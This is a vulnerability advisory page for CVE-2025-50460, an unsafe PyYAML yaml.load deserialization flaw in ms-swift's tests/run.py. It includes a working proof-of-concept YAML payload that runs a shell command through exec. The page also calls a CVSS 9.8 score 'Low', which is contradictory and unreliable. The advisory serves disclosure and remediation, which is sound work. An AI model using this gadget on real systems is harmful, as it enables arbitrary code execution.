Summary
MS SWIFT Remote Code Execution via unsafe PyYAML deserialization
Description
A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.
If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.
Affected Repository
- Project: modelscope/ms-swift
- Affect versions: latest
- File:
tests/run.py - GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
- Dependency: PyYAML <= 5.3.1
Vulnerable Code
if args.run_config is not None and Path(args.run_config).exists():
with open(args.run_config, encoding='utf-8') as f:
run_config = yaml.load(f, Loader=yaml.FullLoader)
Proof of Concept (PoC)
Step 1: Create malicious YAML file (exploit.yaml)
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"
Step 2: Execute with vulnerable PyYAML (<= 5.3.1)
import yaml
with open("exploit.yaml", "r") as f:
cfg = yaml.load(f, Loader=yaml.FullLoader)
This results in execution of os.system, proving code execution.
Mitigation
- Replace
yaml.load()withyaml.safe_load() - Upgrade PyYAML to version 5.4 or later
Example Fix:
# Before
yaml.load(f, Loader=yaml.FullLoader)
# After
yaml.safe_load(f)
Author
- Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
- Contact: [[email protected]]
Impact
Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.
CVE-2025-50460 has a CVSS score of 9.8 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In the interim: Avoid deserializing data from untrusted sources. If deserialization is required, use a format that does not support code execution and validate the input strictly.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-50460? CVE-2025-50460 is a low-severity insecure deserialization vulnerability in ms-swift (pip), affecting versions <= 3.6.3. No fixed version is listed yet. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
- How severe is CVE-2025-50460? CVE-2025-50460 has a CVSS score of 9.8 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of ms-swift are affected by CVE-2025-50460? ms-swift (pip) versions <= 3.6.3 is affected.
- Is there a fix for CVE-2025-50460? No fixed version is listed for CVE-2025-50460 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2025-50460 exploitable, and should I be worried? Whether CVE-2025-50460 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-50460 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-50460? No fixed version is listed yet. In the interim: Avoid deserializing data from untrusted sources. If deserialization is required, use a format that does not support code execution and validate the input strictly.